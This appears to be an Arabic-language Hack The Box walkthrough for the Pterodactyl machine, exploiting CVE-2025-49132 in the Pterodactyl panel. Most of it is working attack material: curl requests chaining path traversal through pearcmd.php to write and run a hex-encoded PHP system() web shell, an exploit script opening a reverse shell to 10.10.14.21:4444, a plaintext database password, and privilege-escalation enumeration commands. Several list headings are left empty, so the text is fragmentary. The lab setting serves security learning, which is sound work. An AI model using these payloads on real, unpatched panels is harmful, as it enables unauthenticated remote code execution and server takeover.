
استغلال لثغرة CVE-2025-49132 تستهدف لوحة Pterodactyl، يجمع بين اجتياز المسار (path traversal) وحقن أوامر PEAR لتنفيذ تعليمات برمجية عن بعد دون مصادقة. يتضمن نصوصًا بلغة bash وPython لتنفيذ الأوامر، وقذائف عكسية، وإرشادات لتصعيد الصلاحيات.
موسم HTB 10 - شرح آلة Pterodactyl
الهدف: آلة Pterodactyl HTB (صعوبة متوسطة)
CVE: CVE-2025-49132
الخطورة: حرجة (CVSS 9.8)
نوع الهجوم: تنفيذ أوامر عن بعد بدون مصادقة
المتأثر: لوحة Pterodactyl إصدار < v1.11.11
تجمع هذه السلسلة exploitation بين:
يتيح نقطة النهاية /locales/locale.json في لوحة Pterodactyl اجتياز المسار عبر المعامل locale:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
يمكن ربط هذا مع pearcmd.php الخاص بـ PEAR من أجل:
/tmpPEAR (مستودع ملحقات وتطبيقات PHP) يحتوي على أداة CLI (pearcmd.php) تقوم بـ:
config-create يكتب الملفاتسلسلة الاستغلال:
اجتياز المسار ← تحميل pearcmd.php ← حقن PHP عبر config-create ← تنفيذ PHP خبيث
يتم ترميز الأوامر بالنظام الست عشري باستخدام hex2bin() لتجاوز:
مثال:
الأمر: whoami
الست عشري: 77686f616d69
الحمولة: <?=system(hex2bin('77686f616d69'))?>
الطريقة 1: استخدام exploit.sh المقدم
chmod +x exploit.sh
# الحصول على علم المستخدم
./exploit.sh flag
# تنفيذ الأوامر
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# قذيفة عكسية
nc -lvnp 4444 # على جهاز المهاجم
./exploit.sh shell 10.10.14.21 4444
الطريقة 2: استغلال يدوي
# الخطوة 1: كتابة قذيفة PHP (محولة إلى ست عشري "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"
# الخطوة 2: التنفيذ
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"
الطريقة 3: سكربت Python
أضفت exploit.py
**تثبيت requests**
استغلال bash كامل الميزات
./exploit.sh cmd "whoami" # تنفيذ أمر واحد
./exploit.sh shell 10.10.14.21 4444 # قذيفة عكسية
./exploit.sh flag # العثور على علم المستخدم
الميزات:
توثيق تقني شامل
يحتوي على:
# 1. أضف إلى /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts
# 2. تحميل الاستغلال
wget https://your-repo/exploit.sh
chmod +x exploit.sh
# 3. الحصول على قذيفة
nc -lvnp 4444 # الطرفية 1
./exploit.sh shell 10.10.14.21 4444 # الطرفية 2
# 4. الحصول على علم المستخدم
cat /home/phileasfogg3/user.txt
# التحقق من الخدمات الجارية
ss -tlnp
# تم العثور على:
# 127.0.0.1:3306 - MySQL (جذر)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (جذر)
# 127.0.0.1:25 - Postfix
# التحقق من sudo
sudo -l
# (يحتاج على الأرجح كلمة مرور)
# ملفات SUID
find / -perm -4000 2>/dev/null
# مهام cron
cat /etc/crontab
ls -la /etc/cron.*
mysql -u pterodactyl -pPteraPanel
# التحقق من حقن UDF، صلاحيات كتابة الملفات
# التحقق من استغلال FPM (CVE-2019-11043 أو إساءة استخدام الإعدادات)
# التحقق من تجاوز المصادقة، تنفيذ أوامر عبر cron
redis-cli -h 127.0.0.1
find /etc/cron* -writable 2>/dev/null
uname -a
# التحقق من DirtyCow وغيرها